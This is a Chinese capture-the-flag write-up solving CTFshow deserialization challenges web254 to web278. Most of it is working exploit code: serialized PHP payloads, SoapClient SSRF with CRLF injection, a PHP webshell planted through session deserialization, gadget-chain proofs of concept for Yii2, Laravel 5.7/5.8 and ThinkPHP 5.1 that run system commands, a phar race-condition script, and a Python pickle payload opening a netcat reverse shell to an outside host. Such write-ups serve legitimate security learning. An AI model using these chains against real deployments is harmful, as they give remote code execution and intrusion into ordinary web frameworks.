CTFshow-WEB入门-反序列化

前言

简单的反序列化直接给出payload,有意思的,较为复杂的和我不太会的会分析一波。
具体的反序列化的基础知识的学习,推荐看一下y4师傅的这篇博客:
[CTF]PHP反序列化总结

web254

?username=xxxxxx&password=xxxxxx

web255

<?php
class ctfShowUser{
    
    
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));

?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

在这里插入图片描述
把PHP里面的username和password改成不一样的即可,然后和get传入的对应。

web257

构造姿势:

<?php
class ctfShowUser{
    
    
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
    
    
        $this->class=new backDoor();
    }
}


class backDoor{
    
    
    private $code="system('cat flag.php');";
}
echo urlencode(serialize(new ctfShowUser()));

web258

加上了正则过滤:

    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
    
    
        $user = unserialize($_COOKIE['user']);
    }

仔细观察一下我们构造的payload:

O:11:"ctfShowUser":4:{
    
    s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{
    
    s:4:"code";s:23:"system('cat+flag.php');";}}

正好和O:11:和O:8:匹配上了,绕过的方法就是加上+,O:+11:,O:+8:即可绕过。
注意一下编码即可:
在这里插入图片描述

web259

又是一个新姿势。一般遇到反序列化的题目,而本身那个php页面没用任何的已有的类,那么大概率就是考察PHP原生类的反序列化了。

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    
    
	die('error');
}else{
    
    
	$token = $_POST['token'];
	if($token=='ctfshow'){
    
    
		file_put_contents('flag.txt',$flag);
	}
}

要想得到flag,必须本地访问flag.php而且带上token,一看到是根据x-forwarded-for来判断的,第一反应是直接改xff头,但是这题不行,y4师傅说是因为有了cloudfare代理,我们无法通过本地构造XFF头实现绕过。因此这题需要利用原生类的反序列化来实现SSRF,考察的是php的SoapClient原生类的反序列化。

综述:

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

具体的学习直接参考前言中y4师傅的那篇博客即可,讲解的非常详细。
至于soap的拓展的安装,直接打开php.ini,找到extension=soap,然后把前面的注释去掉,再重启服务即可。

最终构造的payload如下:

<?php

$a = new SoapClient(null,
    array(
        'user_agent' => "feng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
        'uri' => 'feng',
        'location' => 'http://127.0.0.1/flag.php'
    )
);
$b = serialize($a);
#$c = unserialize($b);
#$c->not_a_function();//调用不存在的方法,让SoapClient调用__call
echo urlencode($b);

location就是我们要访问的url,其中uri也是不可缺少的,但是其实没什么用。关键就是因为我们可以控制user_agent,所以可以CRLF注入,CRLF注入可以参考:

CRLF

User-Agent: feng
x-forwarded-for:127.0.0.1,127.0.0.1
Content-type:application/x-www-form-urlencoded
Content-length:13

token=ctfshow
Content-Type: text/xml; charset=utf-8
SOAPAction: "feng#not_a_function"
Content-Length: 378

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="feng" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_a_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

因为Content-length的缘故,post只取到token=ctfshow,成功把下面的那些东西给吃掉了,实现了自己构造POST的请求包。

然后再访问flag.txt即可。

web260

?ctfshow=ctfshow_i_love_36D

web261

不会。。。。

web262

反序列化字符串逃逸的问题,2种情况,变长或者变短,这题是变长,需要注意的是最上面的注释里有message.php:

# @message.php

message.php里面有反序列化的点:

if(isset($_COOKIE['msg'])){
    
    
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
    
    
        echo $flag;
    }
}

因此想办法让token是admin即可。不过这题讲道理也不需要反序列化字符串逃逸,因为cookie里面是我们可控的。。。直接构造就行了。。不过还是把字符串逃逸的payload写一下吧。
要吃掉这部分:

";s:5:"token";s:4:"user";}

26个字符的长度,所以需要26个fuck:

<?php
class message{
    
    
    public $from="1";
    public $msg="1";
    public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

    public $token='user';
}
$a=new message();
$b=serialize($a);
echo $b."<br><br>";
$b=str_replace('fuck', 'loveU', $b);
echo $b;
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

具体反序列化字符串逃逸的知识点可以参考y4师傅的文章,因为比较简单,这里只给出payload。

web263

存在www.zip,把代码下载下来进行审计。
在inc.php那里发现这个:

ini_set('session.serialize_handler', 'php');

第一反应肯定就是session反序列化了,这里把session的session.serialize_handler设置为php,暗示了默认的php.ini里面的肯定不是php,大概率是php_serialize。既然session序列化存储的引擎存在差异,自然可以进行攻击了:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。
会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过
session_set_save_handler() 设定的用户自定义会话管理器。 通过 read
回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量

先判断一下session是否可控。如果不可控的话可能就要利用文件上传了。
全局搜索一下session,发现首先是这里:

	if(isset($_SESSION['limit'])){
    
    
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
    
    
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}

第一次访问index.php就会产生session,之后如果limit没超过5的话,$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Cookie可控,因此session就可控了。再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入:

class User{
    
    
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
    
    
        $this->status=$s;
    }
    function __destruct(){
    
    
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。

构造如下:

<?php
class User{
    
    
    public $username;
    public $password;
    function __construct(){
    
    
        $this->username = "10.php";
        $this->password = '<?php eval($_POST[0]);?>';
    }
}
echo base64_encode("|".serialize(new User()));

首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后RCE即可。

web264

转存到session里了,大概率是修复262那题不需要反序列化字符串逃逸,直接cookie里写的非预期,姿势和262一样。

web265

考察PHP的&,一个例子:

<?php
$b="hello";
$a=&$b;
echo $a.PHP_EOL;
$b="feng";
echo $a;

如果$a=&$b,那么$a的值会随着$b的值得变化而变化,所以直接构造即可:

<?php

class ctfshowAdmin{
    
    
    public $token;
    public $password;

    public function __construct(){
    
    
        $this->password=&$this->token;
    }
}
echo serialize(new ctfshowAdmin());

web266

考察PHP基础中的基础,没错我真的不知道。。。
有个正则表达式if(preg_match('/ctfshow/', $cs)){ ,第一反应是没加/i,有点奇怪,试了一下大小写绕过,发现成功了。。。
查了一下,发现是自己PHP的基础没学好。PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分。
所以直接构造即可:

<?php
class ctfshow{
    
    
}

echo serialize(new Ctfshow());

再大小写绕过。

web267

卡住了,不知道这是一个框架。
首先就是弱密码admin,admin登录,在index.php?r=site%2Fabout那里f12看一下源码,发现了这个:
在这里插入图片描述

加上后得到这个:
在这里插入图片描述
注意,backdoor/shell是路由,然后我就卡住了。

这题考察的其实是yii框架的反序列化。
随便找个POC用一下,不过这题system不行,而且好像没回显?但是我用passthru可以有回显:

<?php
namespace yii\rest{
    
    
    class CreateAction{
    
    
        public $checkAccess;
        public $id;

        public function __construct(){
    
    
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}

namespace Faker{
    
    
    use yii\rest\CreateAction;

    class Generator{
    
    
        protected $formatters;

        public function __construct(){
    
    
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    
    

    use Faker\Generator;

    class See{
    
    
        protected $description;
        public function __construct()
        {
    
    
            $this->description = new Generator();
        }
    }
}
namespace{
    
    
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
    
    
        private $keys = [];
        private $path;
        public function __construct()
        {
    
    
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

在这里插入图片描述
暂时去复现一下yii2的反序列化链,学习一波。

web268

花了半天时间复现了一下,文章如下:
yii2框架 反序列化漏洞复现
目前至少知道有4条链可以用,继续用上题的链还是可以打通。如果这四条链都打不通了,那就去再挖一条试试。

web269

用之前的链依然可以打通。

web270

用第四条链:

<?php

namespace yii\rest{
    
    
    class IndexAction{
    
    
        public $checkAccess;
        public $id;
        public function __construct(){
    
    
            $this->checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{
    
    

    use yii\web\DbSession;

    class BatchQueryResult
    {
    
    
        private $_dataReader;
        public function __construct(){
    
    
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{
    
    

    use yii\rest\IndexAction;

    class DbSession
    {
    
    
        public $writeCallback;
        public function __construct(){
    
    
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{
    
    

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

web271

laravel5.7的反序列化,可以从网上找到分析文章或者参考我的博客:
laravel5.7 反序列化漏洞复现
POC:

<?php
namespace Illuminate\Foundation\Testing{
    
    

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
    
    
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
    
    
            $this->command="system";
            $this->parameters[]="cat /fl*";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    
    
    class Application{
    
    
        protected $bindings = [];
        public function __construct(){
    
    
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    
    
    class GenericUser
    {
    
    
        protected $attributes;
        public function __construct(){
    
    
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
    
    

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

web272

laravel5.8的反序列化链,参考文章:
laravel5.8 反序列化漏洞复现
2个POC,任意一个都可,这里用一下第一个:

<?php
namespace Illuminate\Broadcasting{
    
    

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
    
    
        protected $events;
        protected $event;
        public function __construct(){
    
    
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    
    
    class QueuedCommand
    {
    
    
        public $connection="cat /flag";
    }
}
namespace Illuminate\Bus{
    
    
    class Dispatcher
    {
    
    
        protected $queueResolver="system";

    }
}
namespace{
    
    

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

抛出异常没关系,实际上命令还是执行了,也回显了,f12就可以看到回显了。

web273

同上。

web274

thinkphp5.1的反序列化链,参考文章:
Thinkphp5.1 反序列化漏洞复现
很难的一条链,和这条链比起来前面的yii2和larvel5.8的链确实简单了不少。
POC:

<?php
namespace think\process\pipes{
    
    

    use think\model\Pivot;

    class Windows
    {
    
    
        private $files = [];
        public function __construct(){
    
    
            $this->files[]=new Pivot();
        }
    }
}
namespace think{
    
    
    abstract class Model
    {
    
    
        protected $append = [];
        private $data = [];
        public function __construct(){
    
    
            $this->data=array(
              'feng'=>new Request()
            );
            $this->append=array(
                'feng'=>array(
                    'hello'=>'world'
                )
            );
        }
    }
}
namespace think\model{
    
    

    use think\Model;

    class Pivot extends Model
    {
    
    

    }
}
namespace think{
    
    
    class Request
    {
    
    
        protected $hook = [];
        protected $filter;
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        public function __construct(){
    
    
            $this->hook['visible']=[$this,'isAjax'];
            $this->filter="system";
        }
    }
}
namespace{
    
    

    use think\process\pipes\Windows;

    echo base64_encode(serialize(new Windows()));
}

在这里插入图片描述

web275

简单审一下代码:

<?php

highlight_file(__FILE__);

class filter{
    
    
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
    
    
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
    
    
        if(preg_match('/php|\.\./i', $this->filename)){
    
    
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
    
    
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
    
    
        if($this->evilfile){
    
    
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    
    
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
    
    
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }

}else{
    
    
    echo 'where is flag?';
}

一开始我以为是条件竞争,但是仔细看一下代码逻辑发现不是条件竞争。那么写入文件的内容是可控的,但是文件名没法带php,用协议啥的也不太行。仔细想想,看到了这个:

    public function __destruct(){
    
    
        if($this->evilfile){
    
    
            system('rm '.$this->filename);
        }
    }

这tm直接把$this->filename拼接到system里面?。。。太离谱了,直接执行命令。。。:
在这里插入图片描述

web277

看了一下,环境是python,看样子是考察python的反序列化了,f12可以看到:

<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

参考文章:
一篇文章带你理解漏洞之 Python 反序列化漏洞
python 反序列化

这题坑的点有2个,一个就是没有回显,另外一个就是os.system用不了,不知道为什么,用os.popen就可以了。因为没回显,所以弹一下shell,bash弹不了,用nc:

import os
import pickle
import base64
import requests
class exp(object):
    def __reduce__(self):
        return (os.popen,('nc ***.***.***.*** 39543 -e /bin/sh',))

a=exp()
s=pickle.dumps(a)
url="http://2ecec748-b3b0-4285-8e82-3531e90c2679.chall.ctf.show:8080/backdoor"
params={
    
    
    'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)

web278

过滤了os.system???你上一题就过滤了吧。。。不过姿势同上。

web276

加上了admin的限制:

    public function __destruct(){
    
    
        if($this->evilfile && $this->admin){
    
    
            system('rm '.$this->filename);
        }
    }

感觉就没什么办法了,想了一下突然想到了phar的反序列化,构造一下:

<?php
class filter{
    
    
    public $filename="1.txt;cat f*;";
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
}
$a=new filter();


@unlink("phar.jpg");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后想办法条件竞争。
一开始我拿bp跑的,跑了十分钟跑不出来,看了一下好像post传的phar文件内容有些问题,看来不能直接复制?
所以写python脚本跑:

import requests
import hashlib
import threading
url="http://9cad90a9-ef69-46c9-8e8f-8419915246ad.chall.ctf.show:8080/"
f=open("phar.phar","rb")
content=f.read()
def upload():
    r=requests.post(url=url+"?fn=1.phar",data=content)

def read():
    r=requests.post(url=url+"?fn=phar://1.phar/",data="1")
    if "ctfshow{" in r.text or "flag{" in r.text:
        print(r.text)
        exit()
while 1:
    t1=threading.Thread(target=upload)
    t2=threading.Thread(target=read)
    t1.start()
    t2.start()


也是参考了一下yu师傅的脚本,因为一开始自己的脚本死活跑不出来,后来改成这样还是跑不出来。。。感觉和网速关系很大,我都开始考虑不条件竞争,而是跑那个md5的txt文件了,重开了一个容器,然后突然一开始就跑出来了,太幸运了。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113808539